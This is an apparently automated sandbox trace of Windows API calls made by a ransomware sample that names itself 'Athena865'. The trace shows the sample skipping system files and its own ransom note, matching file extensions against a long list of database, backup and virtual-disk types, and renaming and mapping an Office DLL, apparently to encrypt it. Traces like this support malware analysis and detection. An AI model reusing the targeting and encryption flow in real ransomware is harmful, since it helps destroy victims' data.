[0085.312] lstrlenW (lpString="odb") returned 3 [0085.312] lstrcmpiW (lpString1="DLL", lpString2="odb") returned -1 [0085.312] lstrlenW (lpString="odb") returned 3 [0085.312] lstrcmpiW (lpString1="DLL", lpString2="odb") returned -1 [0085.312] lstrlenW (lpString="oqy") returned 3 [0085.312] lstrcmpiW (lpString1="DLL", lpString2="oqy") returned -1 [0085.312] lstrlenW (lpString="ora") returned 3 [0085.312] lstrcmpiW (lpString1="DLL", lpString2="ora") returned -1 [0085.312] lstrlenW (lpString="orx") returned 3 [0085.312] lstrcmpiW (lpString1="DLL", lpString2="orx") returned -1 [0085.312] lstrlenW (lpString="owc") returned 3 [0085.312] lstrcmpiW (lpString1="DLL", lpString2="owc") returned -1 [0085.312] lstrlenW (lpString="p96") returned 3 [0085.312] lstrcmpiW (lpString1="DLL", lpString2="p96") returned -1 [0085.312] lstrlenW (lpString="p97") returned 3 [0085.312] lstrcmpiW (lpString1="DLL", lpString2="p97") returned -1 [0085.312] lstrlenW (lpString="pan") returned 3 [0085.312] lstrcmpiW (lpString1="DLL", lpString2="pan") returned -1 [0085.312] lstrlenW (lpString="pdb") returned 3 [0085.312] lstrcmpiW (lpString1="DLL", lpString2="pdb") returned -1 [0085.312] lstrlenW (lpString="pdm") returned 3 [0085.312] lstrcmpiW (lpString1="DLL", lpString2="pdm") returned -1 [0085.312] lstrlenW (lpString="pnz") returned 3 [0085.312] lstrcmpiW (lpString1="DLL", lpString2="pnz") returned -1 [0085.312] lstrlenW (lpString="qry") returned 3 [0085.312] lstrcmpiW (lpString1="DLL", lpString2="qry") returned -1 [0085.312] lstrlenW (lpString="qvd") returned 3 [0085.312] lstrcmpiW (lpString1="DLL", lpString2="qvd") returned -1 [0085.312] lstrlenW (lpString="rbf") returned 3 [0085.312] lstrcmpiW (lpString1="DLL", lpString2="rbf") returned -1 [0085.312] lstrlenW (lpString="rctd") returned 4 [0085.313] lstrcmpiW (lpString1=".DLL", lpString2="rctd") returned -1 [0085.313] lstrlenW (lpString="rod") returned 3 [0085.313] lstrcmpiW (lpString1="DLL", lpString2="rod") returned -1 [0085.313] lstrlenW (lpString="rodx") returned 4 [0085.313] lstrcmpiW (lpString1=".DLL", lpString2="rodx") returned -1 [0085.313] lstrlenW (lpString="rpd") returned 3 [0085.313] lstrcmpiW (lpString1="DLL", lpString2="rpd") returned -1 [0085.313] lstrlenW (lpString="rsd") returned 3 [0085.313] lstrcmpiW (lpString1="DLL", lpString2="rsd") returned -1 [0085.313] lstrlenW (lpString="sas7bdat") returned 8 [0085.313] lstrlenW (lpString="sbf") returned 3 [0085.313] lstrcmpiW (lpString1="DLL", lpString2="sbf") returned -1 [0085.313] lstrlenW (lpString="scx") returned 3 [0085.313] lstrcmpiW (lpString1="DLL", lpString2="scx") returned -1 [0085.313] lstrlenW (lpString="sdb") returned 3 [0085.313] lstrcmpiW (lpString1="DLL", lpString2="sdb") returned -1 [0085.313] lstrlenW (lpString="sdc") returned 3 [0085.313] lstrcmpiW (lpString1="DLL", lpString2="sdc") returned -1 [0085.313] lstrlenW (lpString="sdf") returned 3 [0085.313] lstrcmpiW (lpString1="DLL", lpString2="sdf") returned -1 [0085.313] lstrlenW (lpString="sis") returned 3 [0085.313] lstrcmpiW (lpString1="DLL", lpString2="sis") returned -1 [0085.313] lstrlenW (lpString="spq") returned 3 [0085.313] lstrcmpiW (lpString1="DLL", lpString2="spq") returned -1 [0085.313] lstrlenW (lpString="te") returned 2 [0085.313] lstrcmpiW (lpString1="LL", lpString2="te") returned -1 [0085.313] lstrlenW (lpString="teacher") returned 7 [0085.313] lstrlenW (lpString="tmd") returned 3 [0085.313] lstrcmpiW (lpString1="DLL", lpString2="tmd") returned -1 [0085.313] lstrlenW (lpString="tps") returned 3 [0085.313] lstrcmpiW (lpString1="DLL", lpString2="tps") returned -1 [0085.313] lstrlenW (lpString="trc") returned 3 [0085.314] lstrcmpiW (lpString1="DLL", lpString2="trc") returned -1 [0085.314] lstrlenW (lpString="trc") returned 3 [0085.314] lstrcmpiW (lpString1="DLL", lpString2="trc") returned -1 [0085.314] lstrlenW (lpString="trm") returned 3 [0085.314] lstrcmpiW (lpString1="DLL", lpString2="trm") returned -1 [0085.314] lstrlenW (lpString="udb") returned 3 [0085.314] lstrcmpiW (lpString1="DLL", lpString2="udb") returned -1 [0085.314] lstrlenW (lpString="udl") returned 3 [0085.314] lstrcmpiW (lpString1="DLL", lpString2="udl") returned -1 [0085.314] lstrlenW (lpString="usr") returned 3 [0085.314] lstrcmpiW (lpString1="DLL", lpString2="usr") returned -1 [0085.314] lstrlenW (lpString="v12") returned 3 [0085.314] lstrcmpiW (lpString1="DLL", lpString2="v12") returned -1 [0085.314] lstrlenW (lpString="vis") returned 3 [0085.314] lstrcmpiW (lpString1="DLL", lpString2="vis") returned -1 [0085.314] lstrlenW (lpString="vpd") returned 3 [0085.314] lstrcmpiW (lpString1="DLL", lpString2="vpd") returned -1 [0085.314] lstrlenW (lpString="vvv") returned 3 [0085.314] lstrcmpiW (lpString1="DLL", lpString2="vvv") returned -1 [0085.314] lstrlenW (lpString="wdb") returned 3 [0085.314] lstrcmpiW (lpString1="DLL", lpString2="wdb") returned -1 [0085.314] lstrlenW (lpString="wmdb") returned 4 [0085.314] lstrcmpiW (lpString1=".DLL", lpString2="wmdb") returned -1 [0085.314] lstrlenW (lpString="wrk") returned 3 [0085.314] lstrcmpiW (lpString1="DLL", lpString2="wrk") returned -1 [0085.314] lstrlenW (lpString="xdb") returned 3 [0085.314] lstrcmpiW (lpString1="DLL", lpString2="xdb") returned -1 [0085.314] lstrlenW (lpString="xld") returned 3 [0085.314] lstrcmpiW (lpString1="DLL", lpString2="xld") returned -1 [0085.314] lstrlenW (lpString="xmlff") returned 5 [0085.314] lstrcmpiW (lpString1="A.DLL", lpString2="xmlff") returned -1 [0085.314] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\SOA.DLL.Athena865") returned 60 [0085.314] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\SOA.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\soa.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\SOA.DLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\soa.dll.athena865"), dwFlags=0x1) returned 1 [0085.319] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\SOA.DLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\soa.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0085.319] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=691088) returned 1 [0085.319] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0085.320] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5391d0 [0085.320] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519008 [0085.320] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x518f80) returned 1 [0085.321] CryptGenRandom (in: hProv=0x518f80, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0085.321] CryptReleaseContext (hProv=0x518f80, dwFlags=0x0) returned 1 [0085.321] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xa8e90, lpName=0x0) returned 0x17c [0085.323] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xa8e90) returned 0x2d50000 [0085.389] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x518f80) returned 1 [0085.389] CryptGenRandom (in: hProv=0x518f80, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0085.389] CryptReleaseContext (hProv=0x518f80, dwFlags=0x0) returned 1 [0085.389] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539248 [0085.389] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539248 | out: hHeap=0x4f0000) returned 1 [0085.389] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52ba90 [0085.390] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0085.390] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0085.390] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0085.390] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52ba90 [0085.390] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0085.390] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0085.390] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0085.390] UnmapViewOfFile (lpBaseAddress=0x2d50000) returned 1 [0085.396] CloseHandle (hObject=0x17c) returned 1 [0085.396] CloseHandle (hObject=0x154) returned 1 [0085.396] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5391d0 | out: hHeap=0x4f0000) returned 1 [0085.396] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519008 | out: hHeap=0x4f0000) returned 1 [0085.397] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0085.405] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x67868700, ftCreationTime.dwHighDateTime=0x1cacbb1, ftLastAccessTime.dwLowDateTime=0x5aad71f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x67868700, ftLastWriteTime.dwHighDateTime=0x1cacbb1, nFileSizeHigh=0x0, nFileSizeLow=0x264780, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="SOCIALCONNECTOR.DLL", cAlternateFileName="SOCIAL~1.DLL")) returned 1 [0085.405] lstrcmpiW (lpString1="SOCIALCONNECTOR.DLL", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0085.405] lstrcmpiW (lpString1="SOCIALCONNECTOR.DLL", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0085.405] lstrcmpiW (lpString1="SOCIALCONNECTOR.DLL", lpString2=".") returned 1 [0085.405] lstrcmpiW (lpString1="SOCIALCONNECTOR.DLL", lpString2="..") returned 1 [0085.405] lstrcmpiW (lpString1="SOCIALCONNECTOR.DLL", lpString2="windows") returned -1 [0085.405] lstrcmpiW (lpString1="SOCIALCONNECTOR.DLL", lpString2="bootmgr") returned 1 [0085.405] lstrcmpiW (lpString1="SOCIALCONNECTOR.DLL", lpString2="temp") returned -1 [0085.405] lstrcmpiW (lpString1="SOCIALCONNECTOR.DLL", lpString2="pagefile.sys") returned 1 [0085.405] lstrcmpiW (lpString1="SOCIALCONNECTOR.DLL", lpString2="boot") returned 1 [0085.405] lstrcmpiW (lpString1="SOCIALCONNECTOR.DLL", lpString2="ids.txt") returned 1 [0085.405] lstrcmpiW (lpString1="SOCIALCONNECTOR.DLL", lpString2="ntuser.dat") returned 1 [0085.405] lstrcmpiW (lpString1="SOCIALCONNECTOR.DLL", lpString2="perflogs") returned 1 [0085.405] lstrcmpiW (lpString1="SOCIALCONNECTOR.DLL", lpString2="MSBuild") returned 1 [0085.405] lstrlenW (lpString="SOCIALCONNECTOR.DLL") returned 19 [0085.405] lstrcpyW (in: lpString1=0x241e89e, lpString2="SOCIALCONNECTOR.DLL" | out: lpString1="SOCIALCONNECTOR.DLL") returned="SOCIALCONNECTOR.DLL" [0085.406] lstrlenW (lpString="SOCIALCONNECTOR.DLL") returned 19 [0085.406] lstrlenW (lpString="Athena865") returned 9 [0085.406] lstrcmpiW (lpString1="ECTOR.DLL", lpString2="Athena865") returned 1 [0085.406] lstrlenW (lpString=".dll") returned 4 [0085.406] lstrcmpiW (lpString1="SOCIALCONNECTOR.DLL", lpString2=".dll") returned 1 [0085.406] lstrlenW (lpString=".lnk") returned 4 [0085.406] lstrcmpiW (lpString1="SOCIALCONNECTOR.DLL", lpString2=".lnk") returned 1 [0085.406] lstrlenW (lpString=".ini") returned 4 [0085.406] lstrcmpiW (lpString1="SOCIALCONNECTOR.DLL", lpString2=".ini") returned 1 [0085.406] lstrlenW (lpString=".sys") returned 4 [0085.406] lstrcmpiW (lpString1="SOCIALCONNECTOR.DLL", lpString2=".sys") returned 1 [0085.406] lstrlenW (lpString="SOCIALCONNECTOR.DLL") returned 19 [0085.406] lstrlenW (lpString="bak") returned 3 [0085.406] lstrcmpiW (lpString1="DLL", lpString2="bak") returned 1 [0085.406] lstrlenW (lpString="ba_") returned 3 [0085.406] lstrcmpiW (lpString1="DLL", lpString2="ba_") returned 1 [0085.406] lstrlenW (lpString="dbb") returned 3 [0085.406] lstrcmpiW (lpString1="DLL", lpString2="dbb") returned 1 [0085.406] lstrlenW (lpString="vmdk") returned 4 [0085.406] lstrcmpiW (lpString1=".DLL", lpString2="vmdk") returned -1 [0085.406] lstrlenW (lpString="rar") returned 3 [0085.406] lstrcmpiW (lpString1="DLL", lpString2="rar") returned -1 [0085.406] lstrlenW (lpString="zip") returned 3 [0085.406] lstrcmpiW (lpString1="DLL", lpString2="zip") returned -1 [0085.406] lstrlenW (lpString="tgz") returned 3 [0085.406] lstrcmpiW (lpString1="DLL", lpString2="tgz") returned -1 [0085.406] lstrlenW (lpString="vbox") returned 4 [0085.406] lstrcmpiW (lpString1=".DLL", lpString2="vbox") returned -1 [0085.406] lstrlenW (lpString="vdi") returned 3 [0085.406] lstrcmpiW (lpString1="DLL", lpString2="vdi") returned -1 [0085.406] lstrlenW (lpString="vhd") returned 3 [0085.406] lstrcmpiW (lpString1="DLL", lpString2="vhd") returned -1 [0085.407] lstrlenW (lpString="vhdx") returned 4 [0085.407] lstrcmpiW (lpString1=".DLL", lpString2="vhdx") returned -1 [0085.407] lstrlenW (lpString="avhd") returned 4 [0085.407] lstrcmpiW (lpString1=".DLL", lpString2="avhd") returned -1 [0085.407] lstrlenW (lpString="db") returned 2 [0085.407] lstrcmpiW (lpString1="LL", lpString2="db") returned 1 [0085.407] lstrlenW (lpString="db2") returned 3 [0085.407] lstrcmpiW (lpString1="DLL", lpString2="db2") returned 1 [0085.407] lstrlenW (lpString="db3") returned 3 [0085.407] lstrcmpiW (lpString1="DLL", lpString2="db3") returned 1 [0085.407] lstrlenW (lpString="dbf") returned 3 [0085.407] lstrcmpiW (lpString1="DLL", lpString2="dbf") returned 1 [0085.407] lstrlenW (lpString="mdf") returned 3 [0085.407] lstrcmpiW (lpString1="DLL", lpString2="mdf") returned -1 [0085.407] lstrlenW (lpString="mdb") returned 3 [0085.407] lstrcmpiW (lpString1="DLL", lpString2="mdb") returned -1 [0085.407] lstrlenW (lpString="sql") returned 3 [0085.407] lstrcmpiW (lpString1="DLL", lpString2="sql") returned -1 [0085.407] lstrlenW (lpString="sqlite") returned 6 [0085.407] lstrcmpiW (lpString1="OR.DLL", lpString2="sqlite") returned -1 [0085.407] lstrlenW (lpString="sqlite3") returned 7 [0085.407] lstrcmpiW (lpString1="TOR.DLL", lpString2="sqlite3") returned 1 [0085.407] lstrlenW (lpString="sqlitedb") returned 8 [0085.407] lstrcmpiW (lpString1="CTOR.DLL", lpString2="sqlitedb") returned -1 [0085.407] lstrlenW (lpString="xml") returned 3 [0085.407] lstrcmpiW (lpString1="DLL", lpString2="xml") returned -1 [0085.407] lstrlenW (lpString="$er") returned 3 [0085.407] lstrcmpiW (lpString1="DLL", lpString2="$er") returned 1 [0085.407] lstrlenW (lpString="4dd") returned 3 [0085.407] lstrcmpiW (lpString1="DLL", lpString2="4dd") returned 1 [0085.407] lstrlenW (lpString="4dl") returned 3 [0085.408] lstrcmpiW (lpString1="DLL", lpString2="4dl") returned 1 [0085.408] lstrlenW (lpString="^^^") returned 3 [0085.408] lstrcmpiW (lpString1="DLL", lpString2="^^^") returned 1 [0085.408] lstrlenW (lpString="abs") returned 3 [0085.408] lstrcmpiW (lpString1="DLL", lpString2="abs") returned 1 [0085.408] lstrlenW (lpString="abx") returned 3 [0085.408] lstrcmpiW (lpString1="DLL", lpString2="abx") returned 1 [0085.408] lstrlenW (lpString="accdb") returned 5 [0085.408] lstrcmpiW (lpString1="R.DLL", lpString2="accdb") returned 1 [0085.408] lstrlenW (lpString="accdc") returned 5 [0085.408] lstrcmpiW (lpString1="R.DLL", lpString2="accdc") returned 1 [0085.408] lstrlenW (lpString="accde") returned 5 [0085.408] lstrcmpiW (lpString1="R.DLL", lpString2="accde") returned 1 [0085.408] lstrlenW (lpString="accdr") returned 5 [0085.408] lstrcmpiW (lpString1="R.DLL", lpString2="accdr") returned 1 [0085.408] lstrlenW (lpString="accdt") returned 5 [0085.408] lstrcmpiW (lpString1="R.DLL", lpString2="accdt") returned 1 [0085.408] lstrlenW (lpString="accdw") returned 5 [0085.408] lstrcmpiW (lpString1="R.DLL", lpString2="accdw") returned 1 [0085.408] lstrlenW (lpString="accft") returned 5 [0085.408] lstrcmpiW (lpString1="R.DLL", lpString2="accft") returned 1 [0085.408] lstrlenW (lpString="adb") returned 3 [0085.408] lstrcmpiW (lpString1="DLL", lpString2="adb") returned 1 [0085.408] lstrlenW (lpString="adb") returned 3 [0085.408] lstrcmpiW (lpString1="DLL", lpString2="adb") returned 1 [0085.408] lstrlenW (lpString="ade") returned 3 [0085.408] lstrcmpiW (lpString1="DLL", lpString2="ade") returned 1 [0085.408] lstrlenW (lpString="adf") returned 3 [0085.408] lstrcmpiW (lpString1="DLL", lpString2="adf") returned 1 [0085.408] lstrlenW (lpString="adn") returned 3 [0085.408] lstrcmpiW (lpString1="DLL", lpString2="adn") returned 1 [0085.408] lstrlenW (lpString="adp") returned 3 [0085.409] lstrcmpiW (lpString1="DLL", lpString2="adp") returned 1 [0085.409] lstrlenW (lpString="alf") returned 3 [0085.409] lstrcmpiW (lpString1="DLL", lpString2="alf") returned 1 [0085.409] lstrlenW (lpString="ask") returned 3 [0085.409] lstrcmpiW (lpString1="DLL", lpString2="ask") returned 1 [0085.409] lstrlenW (lpString="btr") returned 3 [0085.409] lstrcmpiW (lpString1="DLL", lpString2="btr") returned 1 [0085.409] lstrlenW (lpString="cat") returned 3 [0085.409] lstrcmpiW (lpString1="DLL", lpString2="cat") returned 1 [0085.409] lstrlenW (lpString="cdb") returned 3 [0085.409] lstrcmpiW (lpString1="DLL", lpString2="cdb") returned 1 [0085.409] lstrlenW (lpString="ckp") returned 3 [0085.409] lstrcmpiW (lpString1="DLL", lpString2="ckp") returned 1 [0085.409] lstrlenW (lpString="cma") returned 3 [0085.409] lstrcmpiW (lpString1="DLL", lpString2="cma") returned 1 [0085.409] lstrlenW (lpString="cpd") returned 3 [0085.409] lstrcmpiW (lpString1="DLL", lpString2="cpd") returned 1 [0085.409] lstrlenW (lpString="dacpac") returned 6 [0085.409] lstrcmpiW (lpString1="OR.DLL", lpString2="dacpac") returned 1 [0085.409] lstrlenW (lpString="dad") returned 3 [0085.409] lstrcmpiW (lpString1="DLL", lpString2="dad") returned 1 [0085.409] lstrlenW (lpString="dadiagrams") returned 10 [0085.409] lstrcmpiW (lpString1="NECTOR.DLL", lpString2="dadiagrams") returned 1 [0085.409] lstrlenW (lpString="daschema") returned 8 [0085.409] lstrcmpiW (lpString1="CTOR.DLL", lpString2="daschema") returned -1 [0085.409] lstrlenW (lpString="db-journal") returned 10 [0085.409] lstrcmpiW (lpString1="NECTOR.DLL", lpString2="db-journal") returned 1 [0085.409] lstrlenW (lpString="db-shm") returned 6 [0085.409] lstrcmpiW (lpString1="OR.DLL", lpString2="db-shm") returned 1 [0085.409] lstrlenW (lpString="db-wal") returned 6 [0085.409] lstrcmpiW (lpString1="OR.DLL", lpString2="db-wal") returned 1 [0085.409] lstrlenW (lpString="dbc") returned 3 [0085.410] lstrcmpiW (lpString1="DLL", lpString2="dbc") returned 1 [0085.410] lstrlenW (lpString="dbs") returned 3 [0085.410] lstrcmpiW (lpString1="DLL", lpString2="dbs") returned 1 [0085.410] lstrlenW (lpString="dbt") returned 3 [0085.410] lstrcmpiW (lpString1="DLL", lpString2="dbt") returned 1 [0085.410] lstrlenW (lpString="dbv") returned 3 [0085.410] lstrcmpiW (lpString1="DLL", lpString2="dbv") returned 1 [0085.410] lstrlenW (lpString="dbx") returned 3 [0085.410] lstrcmpiW (lpString1="DLL", lpString2="dbx") returned 1 [0085.410] lstrlenW (lpString="dcb") returned 3 [0085.410] lstrcmpiW (lpString1="DLL", lpString2="dcb") returned 1 [0085.410] lstrlenW (lpString="dct") returned 3 [0085.410] lstrcmpiW (lpString1="DLL", lpString2="dct") returned 1 [0085.410] lstrlenW (lpString="dcx") returned 3 [0085.410] lstrcmpiW (lpString1="DLL", lpString2="dcx") returned 1 [0085.410] lstrlenW (lpString="ddl") returned 3 [0085.410] lstrcmpiW (lpString1="DLL", lpString2="ddl") returned 1 [0085.410] lstrlenW (lpString="dlis") returned 4 [0085.410] lstrcmpiW (lpString1=".DLL", lpString2="dlis") returned -1 [0085.410] lstrlenW (lpString="dp1") returned 3 [0085.410] lstrcmpiW (lpString1="DLL", lpString2="dp1") returned -1 [0085.410] lstrlenW (lpString="dqy") returned 3 [0085.410] lstrcmpiW (lpString1="DLL", lpString2="dqy") returned -1 [0085.410] lstrlenW (lpString="dsk") returned 3 [0085.410] lstrcmpiW (lpString1="DLL", lpString2="dsk") returned -1 [0085.410] lstrlenW (lpString="dsn") returned 3 [0085.410] lstrcmpiW (lpString1="DLL", lpString2="dsn") returned -1 [0085.410] lstrlenW (lpString="dtsx") returned 4 [0085.410] lstrcmpiW (lpString1=".DLL", lpString2="dtsx") returned -1 [0085.410] lstrlenW (lpString="dxl") returned 3 [0085.410] lstrcmpiW (lpString1="DLL", lpString2="dxl") returned -1 [0085.411] lstrlenW (lpString="eco") returned 3 [0085.411] lstrcmpiW (lpString1="DLL", lpString2="eco") returned -1 [0085.411] lstrlenW (lpString="ecx") returned 3 [0085.411] lstrcmpiW (lpString1="DLL", lpString2="ecx") returned -1 [0085.411] lstrlenW (lpString="edb") returned 3 [0085.411] lstrcmpiW (lpString1="DLL", lpString2="edb") returned -1 [0085.411] lstrlenW (lpString="epim") returned 4 [0085.411] lstrcmpiW (lpString1=".DLL", lpString2="epim") returned -1 [0085.411] lstrlenW (lpString="fcd") returned 3 [0085.411] lstrcmpiW (lpString1="DLL", lpString2="fcd") returned -1 [0085.411] lstrlenW (lpString="fdb") returned 3 [0085.411] lstrcmpiW (lpString1="DLL", lpString2="fdb") returned -1 [0085.411] lstrlenW (lpString="fic") returned 3 [0085.411] lstrcmpiW (lpString1="DLL", lpString2="fic") returned -1 [0085.411] lstrlenW (lpString="flexolibrary") returned 12 [0085.411] lstrcmpiW (lpString1="ONNECTOR.DLL", lpString2="flexolibrary") returned 1 [0085.411] lstrlenW (lpString="fm5") returned 3 [0085.411] lstrcmpiW (lpString1="DLL", lpString2="fm5") returned -1 [0085.411] lstrlenW (lpString="fmp") returned 3 [0085.411] lstrcmpiW (lpString1="DLL", lpString2="fmp") returned -1 [0085.411] lstrlenW (lpString="fmp12") returned 5 [0085.411] lstrcmpiW (lpString1="R.DLL", lpString2="fmp12") returned 1 [0085.411] lstrlenW (lpString="fmpsl") returned 5 [0085.411] lstrcmpiW (lpString1="R.DLL", lpString2="fmpsl") returned 1 [0085.411] lstrlenW (lpString="fol") returned 3 [0085.411] lstrcmpiW (lpString1="DLL", lpString2="fol") returned -1 [0085.411] lstrlenW (lpString="fp3") returned 3 [0085.411] lstrcmpiW (lpString1="DLL", lpString2="fp3") returned -1 [0085.411] lstrlenW (lpString="fp4") returned 3 [0085.411] lstrcmpiW (lpString1="DLL", lpString2="fp4") returned -1 [0085.411] lstrlenW (lpString="fp5") returned 3 [0085.412] lstrcmpiW (lpString1="DLL", lpString2="fp5") returned -1 [0085.412] lstrlenW (lpString="fp7") returned 3 [0085.412] lstrcmpiW (lpString1="DLL", lpString2="fp7") returned -1 [0085.412] lstrlenW (lpString="fpt") returned 3 [0085.412] lstrcmpiW (lpString1="DLL", lpString2="fpt") returned -1 [0085.412] lstrlenW (lpString="frm") returned 3 [0085.412] lstrcmpiW (lpString1="DLL", lpString2="frm") returned -1 [0085.412] lstrlenW (lpString="gdb") returned 3 [0085.412] lstrcmpiW (lpString1="DLL", lpString2="gdb") returned -1 [0085.412] lstrlenW (lpString="gdb") returned 3 [0085.412] lstrcmpiW (lpString1="DLL", lpString2="gdb") returned -1 [0085.412] lstrlenW (lpString="grdb") returned 4 [0085.412] lstrcmpiW (lpString1=".DLL", lpString2="grdb") returned -1 [0085.412] lstrlenW (lpString="gwi") returned 3 [0085.412] lstrcmpiW (lpString1="DLL", lpString2="gwi") returned -1 [0085.412] lstrlenW (lpString="hdb") returned 3 [0085.412] lstrcmpiW (lpString1="DLL", lpString2="hdb") returned -1 [0085.412] lstrlenW (lpString="his") returned 3 [0085.412] lstrcmpiW (lpString1="DLL", lpString2="his") returned -1 [0085.412] lstrlenW (lpString="ib") returned 2 [0085.412] lstrcmpiW (lpString1="LL", lpString2="ib") returned 1 [0085.412] lstrlenW (lpString="idb") returned 3 [0085.412] lstrcmpiW (lpString1="DLL", lpString2="idb") returned -1 [0085.412] lstrlenW (lpString="ihx") returned 3 [0085.412] lstrcmpiW (lpString1="DLL", lpString2="ihx") returned -1 [0085.412] lstrlenW (lpString="itdb") returned 4 [0085.412] lstrcmpiW (lpString1=".DLL", lpString2="itdb") returned -1 [0085.412] lstrlenW (lpString="itw") returned 3 [0085.412] lstrcmpiW (lpString1="DLL", lpString2="itw") returned -1 [0085.412] lstrlenW (lpString="jet") returned 3 [0085.413] lstrcmpiW (lpString1="DLL", lpString2="jet") returned -1 [0085.413] lstrlenW (lpString="jtx") returned 3 [0085.413] lstrcmpiW (lpString1="DLL", lpString2="jtx") returned -1 [0085.413] lstrlenW (lpString="kdb") returned 3 [0085.413] lstrcmpiW (lpString1="DLL", lpString2="kdb") returned -1 [0085.413] lstrlenW (lpString="kexi") returned 4 [0085.413] lstrcmpiW (lpString1=".DLL", lpString2="kexi") returned -1 [0085.413] lstrlenW (lpString="kexic") returned 5 [0085.413] lstrcmpiW (lpString1="R.DLL", lpString2="kexic") returned 1 [0085.413] lstrlenW (lpString="kexis") returned 5 [0085.413] lstrcmpiW (lpString1="R.DLL", lpString2="kexis") returned 1 [0085.413] lstrlenW (lpString="lgc") returned 3 [0085.413] lstrcmpiW (lpString1="DLL", lpString2="lgc") returned -1 [0085.413] lstrlenW (lpString="lwx") returned 3 [0085.413] lstrcmpiW (lpString1="DLL", lpString2="lwx") returned -1 [0085.413] lstrlenW (lpString="maf") returned 3 [0085.413] lstrcmpiW (lpString1="DLL", lpString2="maf") returned -1 [0085.413] lstrlenW (lpString="maq") returned 3 [0085.413] lstrcmpiW (lpString1="DLL", lpString2="maq") returned -1 [0085.413] lstrlenW (lpString="mar") returned 3 [0085.413] lstrcmpiW (lpString1="DLL", lpString2="mar") returned -1 [0085.413] lstrlenW (lpString="marshal") returned 7 [0085.413] lstrcmpiW (lpString1="TOR.DLL", lpString2="marshal") returned 1 [0085.413] lstrlenW (lpString="mas") returned 3 [0085.413] lstrcmpiW (lpString1="DLL", lpString2="mas") returned -1 [0085.413] lstrlenW (lpString="mav") returned 3 [0085.413] lstrcmpiW (lpString1="DLL", lpString2="mav") returned -1 [0085.413] lstrlenW (lpString="maw") returned 3 [0085.413] lstrcmpiW (lpString1="DLL", lpString2="maw") returned -1 [0085.413] lstrlenW (lpString="mdbhtml") returned 7 [0085.413] lstrcmpiW (lpString1="TOR.DLL", lpString2="mdbhtml") returned 1 [0085.413] lstrlenW (lpString="mdn") returned 3 [0085.414] lstrcmpiW (lpString1="DLL", lpString2="mdn") returned -1 [0085.414] lstrlenW (lpString="mdt") returned 3 [0085.414] lstrcmpiW (lpString1="DLL", lpString2="mdt") returned -1 [0085.414] lstrlenW (lpString="mfd") returned 3 [0085.414] lstrcmpiW (lpString1="DLL", lpString2="mfd") returned -1 [0085.414] lstrlenW (lpString="mpd") returned 3 [0085.414] lstrcmpiW (lpString1="DLL", lpString2="mpd") returned -1 [0085.414] lstrlenW (lpString="mrg") returned 3 [0085.414] lstrcmpiW (lpString1="DLL", lpString2="mrg") returned -1 [0085.414] lstrlenW (lpString="mud") returned 3 [0085.414] lstrcmpiW (lpString1="DLL", lpString2="mud") returned -1 [0085.414] lstrlenW (lpString="mwb") returned 3 [0085.414] lstrcmpiW (lpString1="DLL", lpString2="mwb") returned -1 [0085.414] lstrlenW (lpString="myd") returned 3 [0085.414] lstrcmpiW (lpString1="DLL", lpString2="myd") returned -1 [0085.414] lstrlenW (lpString="ndf") returned 